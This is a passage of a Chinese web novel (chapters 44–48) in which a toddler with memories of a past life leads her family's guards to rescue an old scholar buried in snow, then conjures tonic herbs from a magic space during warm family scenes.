“不是堆许(雪)人!”阿沅急了,在爹爹怀里扭动了一下,伸出一根小手指,坚定不移地指向庄子大门的方向,声音因急切而更加含混,却又异常清晰地道出石破天惊的一句:
“窝…窝要救人!”
“救人?”
孟大川眼睛微微眯起,将女儿那张满是急切的小脸又捧近了些,仔细端详。这才发现她圆溜溜的眼睛里不只是惯常的淘气,还藏着一丝罕见的紧张与笃定,小脑袋更是像小鸡啄米似的不停点着。
他心下微奇,放缓了声音问:“又是……那位神仙姑姑告诉阿沅的?”
“嗯!”阿沅用力点头,小胖手攥紧了爹爹的衣襟,努力组织着语言,“神仙姑姑……说,庄子外面……有人,快……快死了。”她故意将“死”字说得含糊又沉重,想加重事情的紧急性。
“什么人?”孟大川的眉头不易察觉地蹙了一下,心头警铃微响。这大雪封山、路径断绝的天气,寻常人绝无可能出现在这偏远的庄子附近。
能出现在此地的,若非有极其特殊的原因,便可能是极大的麻烦,甚至……会害得他们一家陷入万劫不复的境地。他不得不谨慎,语气虽柔,却带着探询的锐利。
“四(是)…四(是)…”孟沅小脸憋得有些红,脑子里飞快转着。她不能说“教授”,不能说“老师”,甚至“老人”这两个字都到了嘴边,又觉得不够分量。最后,她像是终于从记忆角落里挖出一个最合适、也最能引起爹爹重视的词,轻轻吐了出来,带着点神秘兮兮的意味:“大儒。”
“神仙姑姑说了是大儒?”孟大川的声音陡然拔高了一瞬,身体甚至因激动而微微前倾。孟沅感觉到爹爹揽着自己的手臂都收紧了些,腰背似乎也挺直了。
她心中暗笑,面上却装得无比认真,无奈又郑重地点点头,仿佛在确认一个天大的秘密。
大儒这个称谓,她确实是憋了半天才说出来的。在她心里,杨教授那样的博士生导师,学富五车,桃李满天下,绝对当得起“大儒”二字。
至于万一老师穿越而来,身份有变……那大不了就是自己从神仙姑姑那里“听岔了”,或是神仙姑姑“没说清楚”。反正她只是个三岁小娃,童言无忌,谁能怪罪?这般一想,她小胸脯挺得更高,显得更加理直气壮。
至于孟大川为何如此激动,她再清楚不过了。爹爹还在为哥哥的学业和前程发愁,琢磨着去哪里请个有真才实学的好夫子,这“大儒”就如天降甘霖般在梦里出现了,还是“神仙指点”送上门来的。
这简直是刚想打瞌睡,就有人没入夜便塞了个绣花枕头过来,任谁半夜想起来,恐怕都要笑出声吧?
“阿柒!”孟大川不再犹豫,扬声朝窗外唤道。
“在!大人请吩咐。”窗外立刻响起孟柒沉稳利落的回应,仿佛他一直就候在那里。
“你带两个人,立刻跟小姐出去一趟,”孟大川语速加快,带着不容置疑的决断,“一切全听小姐的吩咐行事。”他话音未落,怀里的阿沅早已像条滑溜的小鱼,“呲溜”一下滑下了床,小短腿噔噔噔就往外冲。
一面跑一面还不忘用她那特有的、含混却响亮的声音招呼外间的丫鬟:“绿果红豆!快!爹爹同意了!快点带窝飞飞!”
那胖乎乎、圆滚滚的小身子跑到门口,还特意停下,转过身,伸出小手指向庄子大门的方向,用力挥了挥,小下巴扬得高高的,脸上写满了“看,我说了算吧”的得意神气,仿佛她指的不是一道门,而是指挥着千军万马奔赴的战场。
“你这孩子,都快摆饭了,又闹的是哪一出?”外间的柳氏见女儿风风火火冲出来,倒也没硬拦,只是无奈地摇了摇头,转身进了里屋,对着丈夫轻声埋怨,语气里半是嗔怪半是担忧。
“夫君,您老是这么纵着阿沅,由着她的性子来,以后养成个天不怕地不怕的脾性,可如何能嫁得出去哟?”
“嫁不出去?”孟大川朗声大笑,浑不在意,“嫁不出去,咱们就给她娶一个回来呗!”他拍了拍妻子的手,豪气道,“为夫以后定当多挣些银子,给我家阿沅攒一份厚厚的家底,将来定要给她‘娶’个才貌双全、性情温良的好夫婿进门!”
看见妻子在床头对他怒目而视,柳眉倒竖,孟大川那爽朗的笑声戛然而止,瞬间变了个调,带着讨好般的温柔,长臂一伸,将妻子揽到身边,声音也变成了绕指柔:“好云娘,莫气莫气,你听为夫慢慢说……”
第44章 四脚鱼
一开始,绿果和红豆还在门口犹豫,看着小姐像个小炮仗似的冲出来,嘴里喊着“飞飞”,小手指着大门外快要暗下来了风雪。
两人的脚步虽紧紧跟上了那抹红色的小身影,一左一右,亦步亦趋,生怕她跑快了在雪地里摔个跟头,但心里却直打鼓,想着无论如何得把这小祖宗劝回来,这天气哪能出门?
然而,眼见夫人只是进了内室,并未出声阻拦,内室里反而隐约传来大爷和夫人说话的声音,并无训斥之意。
两人对视一眼,心下明了:小姐所言非虚,确实得了大爷的首肯。可即便如此,她们也不敢真带小姐“飞”啊,只想着先在院子里、游廊下玩一会儿雪,等小姐兴头过了,再好言劝回屋去。
“快!快啊!”阿沅两只小胖手举了半天,酸了,也没等来期待中的“腾空而起”。她感觉自己迈着小短腿跑了这么久,都有些气喘了,还是没被拎着飞起来,顿时有点气急败坏。
她猛地停下脚步,转过身,学着爹爹平日里威严的样子(虽然效果只是奶凶奶凶的),大喝一声:“乌龙,现身!”心想,你们两个丫头不听话,看我召唤更厉害的!以后不带你们玩了!
她话音刚落,四道黑影便从不同方向掠来,比绿果红豆反应更快。阿九、十一身法轻盈,抢先落地,在雪面上踩出两对清晰的脚印。
可还没等他们站稳,一道更迅捷的白色身影如同大鹏般掠至,宽大的袖袍带起一阵劲风,正是老大孟柒。他看似随意地一摆臂,便将抢了先的阿九和十一“轻轻”撞开两步,自己则稳稳定在阿沅身前。
下一秒,阿沅只觉身子一轻,视野陡然升高,如同小鸡仔般毫无防备地被孟柒那穿着厚实白色大氅的臂膀夹在了腋窝下。
但这突如其来的“腾空”非但没吓着她,反而让她兴奋得手舞足蹈,在空中踢蹬着小短腿,挥舞着小胳膊,清脆的童音在风雪中格外响亮:“那里!那里!柒叔,快点,再快一点!往大门外去!”
小手坚定不移地指向庄子大门的方向,指挥若定。
小姐这般胆大活泼的模样,惹得孟柒和他几个随后落地的属下心中一阵稀罕,觉得这小主子着实有趣得紧,恨不得此刻提着小姐飞驰的是自己。
绿果和红豆更是懊悔不迭,早知小姐是动真格的,刚才就该依了她。眼下也顾不上许多,两人连忙提气,身影在雪地上轻盈滑行,紧紧跟上。
他们六人并未如孟柒那般高来高去,只是在积雪上借力疾掠,留下几道浅浅的痕迹。
也幸亏此时庄子里的人们大多蜷在暖和的炕头上,没人注意到主院上空,一个白色身影腋下夹着个兴奋挥舞的“大红球”,以极快的速度“漂移”而过,不然这奇景传出去,怕是真会酿出些“天降祥瑞”或“红鸾星动”之类的离奇传闻来。
“找人,快找人!”一出了庄子大门,扑面的寒气更甚,但阿沅毫不在意,咋咋呼呼的声音在空旷的雪野里回荡。
她小脑袋转来转去,循着梦境里模糊的轨迹,努力向下面张望,也没打算下地——在她的小脑瓜里,飞得高自然看得远,在空中肯定更容易找到那个蜷缩在雪地里的身影。
“找人?”孟柒闻言一愣,速度稍缓,有点不明所以,“小姐要找谁?是莲子还是红袖跑出来了?”他下意识以为,能让小姐如此着急寻找的,定是她平日最亲近的那两个人。
“不四(是)!四(是)大儒!”阿沅急着纠正,可“大儒”这词对她现在的口齿来说有些拗口,说得含混不清。
孟柒没听明白,紧跟上来的其他六人也面面相觑。但“找人”的意思总归是懂的,既然小姐说要找,那找便是了。
孟柒一个手势,下面六人迅速分成两人的小组,以庄子大门为起点,向三个主要方向排开,准备由近及远展开搜索。
然而举目望去,除了皑皑白雪反射着微弱的天光,以及远处黑沉沉的山峦剪影,视线所及,不见半点人踪或其他杂色。
阿沅自然也只看见白茫茫一片,心中的焦急更甚,连忙补充道:“老人!一个老人!可能……可能被雪埋了!”她想起梦里最后那个蜷缩的身影。
“对,雪大,被雪埋了也不一定,大家仔细些,用脚……踢开积雪看看。”阿九反应快,立刻明白了小姐的意思,接口说道。可他一个“用脚踢一踢”还没完全说出口,那个“踢”字却把空中的阿沅气恼了。
只见被孟柒夹着的小人儿,即便悬在空中,也努力把两只小胳膊往圆滚滚的腰身上一插,做出个生气的姿势,对着下面的阿九怒声“吼”道(声音奶脆):“不能踢!踢四(死)了,要你赔!啊!啊!啊!要轻轻!用手!”
她在空中张牙舞爪,踢腾得更厉害了,宛如一尾离了水却格外活泼的四脚鱼儿。孟柒只觉腋下的小人儿扭动得厉害,生怕她一个不小心滑脱,不得已连忙调整姿势,稳稳落在了雪地上。
孟柒暗暗咂舌,心下感叹:小姐这精神头,可真不是一般的好!在空中被夹着还能如此“折腾”,任他身手不凡,也被迫“紧急降落”。
这小祖宗,长大了还不知是怎样一个古灵精怪、胆大包天的人物,绝对是大人的种,没错!
第45章 倒向阿沅的大雪块
八人搜索小组在大门外,方圆几十丈仔细搜了一遍,但凡看见地面有点异常的凸起或凹陷,都用手中粗硬的树枝扒拉开来。
“小姐,这边都翻过了,没有。”十五直起腰,朝着阿沅的方向摇了摇头,呵出的白气在寒风中迅速消散。
“这边也没有……”
“这边也没有。”
……
其他人陆续直起身,声音里明显有了一丝不易察觉的敷衍。
别说大活人,就连野兔、山雀乃至小狗小猫的踪迹都没寻到,只有无边无际、令人眼盲的纯白。
“小姐,您别不是……做了个梦吧?”绿果望着眼前白茫茫、厚得能埋没小腿的积雪,忍不住将心里的怀疑说出了口。
“这天气,这雪深,真要有人倒在这儿,怕是也……”她没说完,但意思谁都明白。
小姐醒来时红袖问她是否梦魇了,她和红豆在门外都听得真切,后来小姐急匆匆穿戴好就闹着要出门,在绿果看来,这分明是还没从梦里完全清醒过来。
“确实啊,小姐您看看这雪,足有两尺厚,踩下去都没过小腿肚了。”孟柒也不想跟小姐玩了,甚至产生了大人太过纵容女儿的怨怼。
“人被埋在底下,就算一时没闷死,这滴水成冰的天,也早冻成冰棍了。”十六小声嘀咕,脚不停地跺着地取暖。
“有哒!没有四(死)!再找!”阿沅急得小脸又红又白,奶音里带着不容置疑的倔强。可看着众人疲惫又带着些许不信的眼神,她心里那点原本坚如磐石的底气,也微微动摇起来。
难道……真是自己太过思念老师,才做了那样一个真切得可怕的梦?不,不能放弃!万一是真的呢?万一老师真的来了,却因为自己的放弃而……她简直不敢想下去,若真如此,她觉得自己也没脸再活一次了。
阿沅用力闭上眼睛,努力摒除周围的嘈杂,小眉头紧紧皱起,拼命回想梦境里的每一个细节……老师穿着那身略显单薄的深色衣袍,在白茫茫的雪地里踉跄几步,终于支撑不住,跌坐下去没了知觉……他冷极了,紧紧蜷缩成一团,像只受伤的兽……然后,梦里的自己急切地伸出手,想要搀扶他……
画面在脑海中反复闪回,阿沅忽然捕捉到一个之前忽略的细节——老师蜷缩倒下时,上半身似乎并没有完全瘫软在地!梦中的自己想去扶他时,只是弯下了腰,而不是需要蹲得很低……这意味着,当时一定有东西支撑着他!
“看看树下!”她脱口而出,随即目光猛地转向庄子大门的方向,“还有围墙!”她的小脑袋瓜飞速运转,整个庄子,只有大门两旁砌着真正的青砖围墙,其他地方要么是篱笆,要么是荆棘丛。
围墙高大,为了防雪压塌,墙根下铲除堆积的雪也格外多,形成一个个小雪包!
“快!去围墙下找!”阿沅惊呼的同时,已经迈开小短腿,像颗红色的炮仗,朝着大门的方向奋力“滚”了过去。
“小姐,慢点!让奴婢来!”绿果和红豆见状,也顾不上其他,把外头搜索的任务匆匆丢给同伴,深一脚浅一脚地追了上去。
“这里……”
“这边这个雪堆好像有点不一样……”
有了帮手,阿沅就不再徒劳地试图用自己那点微末力气去扒拉积雪了。她站在雪地里,小手指点着几个她觉得形状可疑、或者积雪颜色略深的雪堆,指挥着绿果和红豆:“扒拉!那里!还有那里!”
实在是她心有余而力不足,三岁孩童的小手,连根粗点的树枝都挥不动,更别说撬开冻硬的雪块了。指挥了一会儿,她觉得腿酸,便一屁股坐到了高高的门槛上,晃悠着两只小脚,眼睛依旧紧紧盯着搜索的两人。
“啊呀——!”突然,阿沅发出一声短促的惊叫,整个人毫无预兆地向后倒去!
所有人闻声猛地回头,拔腿冲她而来。离门最近的红豆反应最快,像只受惊的兔子般弹起来冲过去,但她的速度再快,也快不过门边那块因震动而骤然松脱、朝着门槛上小小人影劈头盖脸砸下来的厚重积雪!
“噗”的一声闷响,阿沅连人带门槛被埋了进去,只剩一双穿着红棉鞋的小脚在外面无助地蹬了几下。
但好像砸得并不太狠?她的小手小脚很快又从雪里扑腾出来。
“救命啊!杀人啦!好……好重呀!”她带着哭腔的、口齿不清的呼救声从雪堆下闷闷地传出来,与其说是惊恐,倒更像是一只被惹急了、正在张牙舞爪的奶猫。
“小姐!”红豆的心都快跳出嗓子眼了,扑到雪堆前,用手拼命去刨。入手冰凉刺骨,但触感并非松散的浮雪,也不是坚硬的大冰块,底下似乎有什么……更有弹性的东西?指尖忽然碰到一点粗糙的、不同于冰雪的布料——深颜色的!
“是人!”已经赶到近前的绿果也看到了那被红豆无意间扒拉出的一角黑色衣料,心里咯噔一下,暗叫不好。她不知哪来的力气,双手猛地插进雪堆,抱住压住小姐的人,用力往自己怀里一拽,同时急喊:“快点帮忙!真是个人!压着小姐了!”
红豆动作更是迅疾如风,几乎在绿果喊话的同时,一手就探进雪堆,准确地捞住了阿沅的小身子,将她像拔萝卜似的“拔”了出来,紧紧护在自己温热的怀里,上下检查:“小姐,伤着没?吓死奴婢了!”
阿沅在红豆怀里惊魂未定地喘了两口气,湿漉漉的眼睛却立刻望向绿果那边。只见绿果和随后赶到的暗卫七手八脚,迅速拍掉那人身上残留的积雪,露出了里面深色、沾满雪沫的衣袍,还有那眉毛眼睛都满是积雪的人。
那头花白的长发,那身形,那颜色……与她梦境中杨教授的穿着一般无二!
“真的是大儒!”阿沅的小脸瞬间被巨大的惊喜点亮,她拍着小手,在红豆怀里兴奋地扭动大叫,“窝就嗦(说)!窝就嗦(说)有!”
“还真是个老人……”阿九看着地上昏迷不醒、须发皆白、面容青紫的老者,喃喃道。
十一蹲下,伸出两根手指探到老人鼻端,屏息感受了片刻,抬头道:“老大,还有气!很弱,但确实还有!”
“还愣着干什么!快,快背回去!小心点!”孟柒虽然嘴里大声招呼着众人,自己却已经蹲在了老人身边,快速检查他的四肢是否僵硬,有无明显外伤,同时迅速解开自己的外袄,裹在老人身上。
回去的路仿佛变得轻快了许多。小团子被绿果和红豆一左一右,笑嘻嘻地架着胳膊,让她的小脚离地,像只笨拙又快乐的小企鹅,在积雪未清的小路上“矮矮地飞”。
“快!飞飞!再高一点点!”她兴奋地咯咯直笑,银铃般的童音洒了一路。
“绿果,红豆,泥们要多吃饭饭!”她扭过头,看看左边的绿果,又看看右边的红豆,一本正经地“鼓励”道,“要像柒叔壮……带阿沅飞更高,高高!”
第46章 红色漂亮
“点几盆炭火!要烧得旺旺的!”孟柒的声音从东厢房传出来。
“愣着干什么,再去提两桶干净的雪进来!”又是一声厉喝,还有撕裂衣服的声音。
“脱掉湿衣服,用雪揉搓手脚和身子,不要停!搓到皮肤发红发热为止!”老北爷爷哑着嗓子吩咐,自己已经挽起袖子,抓了一把冰冷的雪。
老师被众人抬进了东厢房。阿沅迈着小短腿想跟进去,却被人高马大的柒叔像拎小鸡崽似的,轻轻一提就放到了门外。
“小姐,里头乱,您在外头等着。”门“吱呀”一声在她面前关上了。阿沅不依,只好委委屈屈地蹲在墙角,耳朵贴在冰冷的门板上,努力想听清里面的动静。闻讯赶来的红袖和莲子也跟着一起听墙角。
“阿沅,爹爹叫你进来。”过了一会儿,柳氏无奈地拉开门,看见缩成一小团的女儿,又是心疼又是好笑,伸手就把人拎了起来。
“还不进去?”话音未落,阿沅小屁股就结结实实地挨了不轻不重的一巴掌。
阿沅扭过头,冲娘亲吐了吐舌头,做了个滑稽的鬼脸。可一进屋,她还是没能逃脱被“收拾”的命运。
“呜呜!不换!还要穿红色的!”她看着柳氏手里那套粉嫩的新衣裙,小嘴一瘪,不干了,像条刚从水里捞出来的、滑不溜秋的小泥鳅,在柳氏怀里扭来扭去地挣扎。
那身红色的元宝服多好看呀,她还没穿够呢!刚才“飞”回来的时候,她觉得镜子里的自己,比前世同事怀孕时贴的“包菜娃娃”年画还要圆润可爱!
“阿沅听话,在雪地里那么久,寒气都化到骨头缝里了,不换干爽衣服会生病的。”女儿今日歪打正着,可能真救了位了不得的人物,柳氏心里既后怕又有点骄傲,难得地拿出了十二分的耐心哄着,“女娃娃就该穿得粉粉嫩嫩的,你看这桃花粉多衬你,穿上定是又漂亮又乖巧。”
“不要!就不要!红色漂酿(亮)!”阿沅的小孩子心性此刻发挥到了极致,脑袋摇得像拨浪鼓,身子扭得越发厉害,小胖手紧紧揪着自己红色袄子的前襟。
“脱下来又不是穿不着了,”眼看夫人束手无策,一旁帮忙的青衣笑着上前,声音温温柔柔的,说的全是哄三岁小孩的话,“小姐你看,外头天都黑透啦,该吃晚饭了,夫人备了热腾腾的锅子呢。吃完锅子,身子暖暖的,也该上床歇息了。”
“放心,奴婢这就用炭盆给您把红袄子仔细烘得暖暖的、干干的,保证您明早一睁眼,就能穿得漂漂亮亮的!”
“真哒?”这话精准地戳中了阿沅的心思,她眨巴着大眼睛,迟疑了一下,随即乖乖松开了小手,“好吧!那……那要烘得暖暖的哦!”
不得不说,换下了那身沾了雪沫、有些潮气的厚重红袄,穿上轻软干燥的粉色小袄和夹裤,身上确实感觉松快了许多,没那么沉甸甸了。
阿沅像只粉团子,骨碌一下就滚进了爹爹暖烘烘的被窝里,然后淘气地伸出小手,在孟大川结实的大腿上不轻不重地掐了一把。
“呲——小坏蛋!别以为爹爹舍不得打你屁股!”孟大川故意疼得呲牙咧嘴,板起脸,做出凶巴巴的样子威胁道,话音未落,却已俯下身,用自己下巴上那层新冒出的、硬硬的胡茬,去扎小团子柔嫩的脸蛋。
“哎呀!爹爹!不要!痒!哈哈……”纵然扭着身子拼命挣扎,阿沅最终也没能逃过爹爹的“胡子荼毒”,被扎得咯咯直笑,父女俩闹作一团,最后孟大川一把将笑得没力气的小女儿搂进怀里,两人都笑喘了气。
“宝贝阿沅,”孟大川轻轻拍着女儿的背,脸上带着期盼又有些不确定的神色,压低声音问,“你跟爹爹说,咱们救回来的那位老丈……真像你说的,是位大儒么?”
女儿刚才说救了个“大儒”时,他心里是七上八下的,既期待奇迹,又怕希望落空,空欢喜一场。没想到,女儿竟真领着人从雪堆里扒出个活人来!
“嗯嗯!”阿沅在爹爹怀里用力点头,小脸因为刚才的玩闹红扑扑的,她比划着,“跟梦里一样一样哒!穿着好长好长的深色衫子,胡子白白的,长长的。”
说着,她竟从孟大川怀里挣出来,摇摇晃晃地站在炕上,小手抚弄着自己下巴上根本不存在的胡须,学着记忆里老先生们的样子,迈着四方步,一步一顿,小脑袋还微微晃着,倒真有那么几分严肃又诙谐的小先生模样。
“这孩子,学得还真有几分神韵。”柳氏在一旁看着,忍不住笑了,但笑意很快又被担忧取代。
“就是不知道人能不能救得回来。毕竟看着年岁不小了,怕是已过知天命之年,也不知在雪里冻了多久,那身长袍都湿透了,贴在身上,看着就冷到骨子里。”
想起刚才匆匆一瞥看到的那张青白交加、毫无生气的脸,柳氏忍不住叹了口气。
孟沅心里也正苦恼着呢:自己这空间,怎么偏偏就没有那种传说中能活死人肉白骨的灵泉呢!
她也懊悔,前世跟着爷爷,怎么就只对研制那些稀奇古怪的毒药和解毒剂感兴趣,没好好沉下心来学学正统的中医之道?如今空间里针对这种严重冻伤、元气大损的,却没什么特别对症的好药材。
“年纪大了,底子亏空,若是能救回来,后面就给他好好将养补补。”孟大川自己也是武夫,对医道不甚精通,只能想到最朴实的办法。
“好歹咱们这儿还有个经验丰富的老军医在。若是……若是冻伤了筋脉,导致日后行动不便,倒是可以试试神仙姑姑的药丸。”
“对!补补!补补!”孟大川的话像一道亮光,瞬间劈开了阿沅脑海中的混沌。她这回不往自己衣服里掏了,而是就着暖暖的被窝,小手伸进虚掩的被角下,假装在里面摸啊摸,掏啊掏,嘴里还念念有词。没一会儿,就在爹娘惊愕的目光中,接二连三地“变”出东西来。
“喏,人参!补补!”一根品相不错、须子完整的老山参被放在了被褥上。
“鹿茸!补补!”一个油纸包展开,里面是一长根鹿茸。
“大灵芝!补补!”一朵比阿沅小手还大的紫褐色灵芝赫然出现。
“这个……也补补!”三七,她假装叫不出名字了。
“那个……补补!”
……
凡是阿沅根据前世模糊记忆,觉得能“补身体”、“活血”、“回阳”的药材,她都不吝啬地从空间里往外搬。
看着爹娘目瞪口呆、仿佛见了鬼似的表情,她就觉得特别有成就感,小嘴还叭叭地报着“来历”,一副“我早有准备”的小模样:“这个……二房的;这个……渣奶的;这个……二叔的……”
至于娘亲嫁妆里那些真正压箱底的好东西?阿沅“嘿嘿”一笑,眯起了那双透着狡黠灵动的大眼睛:那是娘亲的宝贝,可得好好留着,自家人慢慢用!
第47章 大儒醒了吗?
“大儒醒了吗?”
早上睁开眼睛,带着浓浓的起床气,阿沅迷迷糊糊地伸出两只胖乎乎、带着肉窝窝的小手,先是在暖和的被窝里伸了个大大的懒腰,又张开小嘴,打了个无声但十分用力的呵欠,眼角甚至还挤出了一点泪花。她才刚把眼睛完全睁开,就探过头来,带着点好奇和期待问了这么一句。
“老头还没醒呢!”红袖手脚麻利地将大红元宝袄服给小姐套上,一面利落地系着侧边的盘扣,一面回答她的问话,声音里透着点无奈的笑意,心想:明明是个乞丐一般老头儿,小姐怎么叫他大儒。
“昨晚可折腾了够呛。先用几大桶的雪搓;后来浓浓的小米粥,硬是给灌下去半碗;最后还说怕他身子冷,让喂了两口烧刀子暖身子。这么一番折腾下来,眼下倒是睡得沉了,老北爷爷说,脉象比昨天稳当了些,活过来应该是没问题的。”
她说着,手上动作不停,又想起了什么,提醒道:“对了,青衣姑姑说话算数,今儿个天还没大亮,就把小姐您的这套新衣服给送进来了,说是答应给您今天穿的。”
“嗯嗯,青衣姑姑最好了。”只要能穿这身衣服,阿沅就高兴。
“那……”但是听说老师还没醒过来,阿沅的小脸顿时垮了一下,圆溜溜的杏眼里闪过一抹小小的失望。她原本还盘算着,等杨教授醒了,一定要好好“审问审问”他。
前世的实验室爆炸之后,国家损失了她这么个顶尖的农业天才,新闻上到底是怎么说的?大家是不是都很痛心疾首?
还有啊,她“牺牲”之后,现代世界又发生了什么新奇好玩的大新闻没有?她心里可攒了好多问题呢!可惜,老师还在睡。
“今天玩什么?”不过,小孩子家忘性大,那点子小小的失望只在心里盘旋了三秒钟,就被窗外透进来的雪亮天光给驱散了。
她天性里的活泼好动又占了上风,主要是一想到外面又是白茫茫、冷飕飕的一片,不能出去玩,就觉得好生无聊,小嘴不自觉地就撅了起来。
红袖看着自家小姐这变脸比翻书还快的小模样,忍俊不禁道:“我的好小姐,您临睡前不是还嘟嘟囔囔,说今天一定要拉上少爷,还有我们几个,去院子里堆一个大大的雪人吗?”
旁边的绿果早就备好了温热的毛巾,这会儿轻柔地给阿沅擦了擦脸和手。被这热气一蒸,再听到红袖提起堆雪人,阿沅那点无聊瞬间飞到了九霄云外,眼睛里“唰”地一下亮起了光,小身子也跟着扭动起来:“对!堆雪人!走,堆雪人去!”
她嘴里嚷着,哧溜一下就像条灵活的小鱼儿般滑下了床,趿拉上毛茸茸的虎头棉鞋,拔腿就想往外冲。
可惜,人小力微,还没跑出两步,就被眼疾手快的红袖从后面一把抱住,搂了个结结实实。“哎哟我的小姐,外头天寒地冻的,好歹也得把头脸收拾齐整了呀!头发还没梳呢!”
阿沅在她怀里努力地蹭啊蹭,像只不听话的小猫,死命地摇着小脑袋,帽子边沿的白色绒毛都跟着乱颤:“不梳,不梳嘛!戴帽子!”
她心里门儿清:自己现在就这么稀疏疏的两小撮黄毛,天暖和的时候,最多也就能在头顶揪两个可怜巴巴的小鬏鬏,像两颗发育不良的小豆芽。现在戴上这厚厚的、能把耳朵都包住的绒帽子,那两撮头发自然就服服帖帖了,根本用不着折腾。
哼,别以为她不知道,红袖她们一个个的,就是逮着机会就想抱她、搂她,还要贴贴脸,她阿沅可是有“前世记忆”的人,又不是真的三岁小娃,不要面子的么!男的女的都想抱,那怎么成!
“就算戴帽子,也得把头发理顺了呀,不然缠在一起,该疼了。”绿果也在一旁帮腔,语气温柔但态度坚决。
几个丫鬟笑着,到底还是把这个不老实的小人儿“镇压”下来,按在梳妆台前,用细齿的木梳将她那点软软的头发轻轻梳顺,才给她套上了那顶镶着兔毛边、顶上还有个红色绒球球的暖帽。
“妹妹!”
终于得到解脱,阿沅兴奋的小短腿刚跨过高高的门槛,还没踩实院子里被扫得只剩薄薄一层的雪,就被门口突然冒出的人影和一声带笑的呼唤吓得一个哆嗦。
只见门边,穿着青色棉袍、身姿挺拔如小松的孟怀瑾正笑眯眯地等着,一双修长的手已经伸了出来,摆明了就是要抱她。阿沅条件反射般地连连摆动着小胖手,小脑袋摇得像拨浪鼓:“不要,不要抱!”
转念又怕哥哥像昨天那样,抱完就要抓她去书房“认字”,赶紧又迅速补充了一句,语气里满是警惕:“窝不要写字!”
孟怀瑾被她这副如临大敌的小模样彻底逗乐了,清俊的脸上笑容绽开,眼睛清明,没有一丝憨态。
他有时候真觉得奇怪,自家这妹妹聪明机灵得不像话,可偏偏对读书识字这事避之唯恐不及。要不是他们兄妹俩,一个长得像爹,剑眉星目;一个活脱脱是娘亲的翻版,杏眼桃腮,他都要怀疑是不是当初抱错了娃娃。
他可不会由着她躲,长腿一迈就进了门廊,弯腰伸手,轻轻松松就把这个裹得像颗红果子的小妹捞进了怀里,还用带着点凉意的手指捏了捏她温热软糯的脸蛋,口气笃定地逗她:“妹妹肯定猜不出来,今天早饭娘亲特意给你准备了什么好吃的!”
“唔……”阿沅被哥哥抱着,鼻尖嗅到他身上干净的皂角味和一丝淡淡的墨香,身子不自觉地就靠了过去,甚至还伸出小手,好奇地摸了摸他下巴上那点新冒出来的、有些粗糙的胡茬。
听到吃的,她眨巴着大眼睛,掰着手指头数:“饺子……肉包子……肉肉粥……嗯……还有,还有臭臭的豆汁!”说到豆汁,她立刻皱起了小鼻子,整张脸都写满了嫌弃,仿佛已经闻到了那股子酸馊味。
“猜对了一半,”孟怀瑾笑着,忽然把一直虚握着的另一只手摊开,递到她的眼皮子底下,压低声音,带着诱惑的语气说:“娘亲还给你蒸了一碟糖糕,还温了牛乳,可甜可软了,上面还洒了桂花蜜呢……妹妹要不要?”
“要!”阿沅这一次,嘴比眼睛反应还快,美食的诱惑瞬间战胜了一切。她的小身子猛地向前一扑,差点直接从孟怀瑾怀里栽下去,这突如其来的动作把毫无准备的少年吓了一大跳,赶紧双臂用力将她扶正,心有余悸地连声道:“小心点!摔了可不得了!”
就在这一扑一扶之间,一只小巧玲珑、栩栩如生的木雕小兔子,已经被塞进了阿沅暖呼呼的手心里。
兔子雕得憨态可掬,耳朵微微耷拉着,眼睛处还点了两点朱砂,活灵活现。阿沅立刻爱不释手,翻来覆去地看,嘴里大声宣布:“喜欢!窝最喜欢嘚嘚了!”那甜腻腻的小奶音,让孟怀瑾脸上的笑意又深了几分。
第48章 一家人其乐融融
兄妹俩笑闹着,相携着往正屋走去。
由于孟大川的身体日渐好转,精神头也足了,如今过年一家人的一日三餐,除了偶尔吃热闹的暖锅子,其余时候都喜欢把饭摆到他的屋里,就图个热闹团圆。
“瑾儿刚才可是去东厢房看过大儒了?”还没等两个孩子开口请安,半靠在床头、气色明显好了许多的孟大川就冲儿子发问道,语气平常,却仿佛早就知道他起了大早去探视过一般。
“回父亲,儿子刚从东厢房出来。”孟怀瑾将妹妹稳稳地放在铺着厚厚褥子的床榻上,恭敬地回答。
他走到父亲床前,仔细回禀:“那位先生脸上瞧着比昨晚有了一点血色,气息也均匀些。老北爷爷说,夜里听见他含糊地哼了几声,想来离醒转不远了,父亲不必过于忧心。”
“嘚嘚!泥(你)要准备礼物哦!”阿沅在宽大的床榻上滚了半圈,寻了个舒服的位置坐好,举起手里新得的木雕小兔子,一本正经地提醒哥哥,小脸上一派严肃,只是带着浓浓的奶味。
孟怀瑾看着她那小大人似的模样,心里一暖,温声应道:“哥哥知道,等先生醒了,定当郑重拜见。”他明白妹妹这是提醒他尊师重道呢。
阿沅眨巴着大眼睛,心里却转着自己的小九九。她虽然人小,但芯子里装着前世的阅历,忍不住要替这个实诚的哥哥多思量几分。
杨教授那人,她可太了解了,学问自然是顶呱呱,但脾气嘛……说好听了是不拘小节,说直接点就是有点古怪,对不上他胃口的人,他能把嫌弃写在脸上。
前世也就她这种天赋异禀又踏实肯干的“得意门生”能得他几分好脸色。如今到了这规矩森严的古代,教授他老人家还能不能适应?看不对眼怎么办?
她偷偷瞄了一眼俊朗挺拔、气质温润的哥哥。嗯,还好,哥哥不是那种死读书的酸腐文人,还是个顶顶有才华的少年秀才。
只是……他从小锦衣玉食,会不会是那种“四体不勤,五谷不分”的类型?而杨教授一辈子扎根土地,最看不惯的可能就是这种。这师徒缘分,有点悬呐……
不过嘛……阿沅滴溜溜地转着乌黑的眼珠,小脸上露出一丝狡黠的笑意。他若是不肯收哥哥为徒,或者嫌弃哥哥不懂农事……嘿嘿,她也不是没有办法。
到时候就“不经意”地“打击”一下老头子好了:您老人家是五谷丰登的专家不假,可四书五经、科举文章,您能教吗?咱们各有所长嘛!
“阿沅,自个儿在那儿神游天外,想什么美事呢?笑得像只偷到油的小老鼠。”和儿子交谈了几句,孟大川再回过头,就看到女儿抱着小木兔,坐在那儿,嘴角翘着,眼睛弯弯,一副贼兮兮、仿佛占了天大便宜的小模样。
他顿时心痒,长臂一伸就把她捞到了自己跟前,用自己还没打理、带着胡茬的下巴去蹭她娇嫩的小脸蛋。
“哎呀呀!臭爹爹!扎人!痒痒!”阿沅立刻“惨叫”起来,在爹爹怀里像条活鱼般扭动,小手小脚胡乱踢蹬着,嘴里“哎哟哎哟”叫得夸张又响亮,仿佛受了多大“酷刑”似的。
父女俩笑闹成一团,直到阿沅玩得忘形,一个翻身差点滚下床沿,被一直含笑看着的孟怀瑾敏捷地伸手接住,这场“晨间大战”才告一段落。
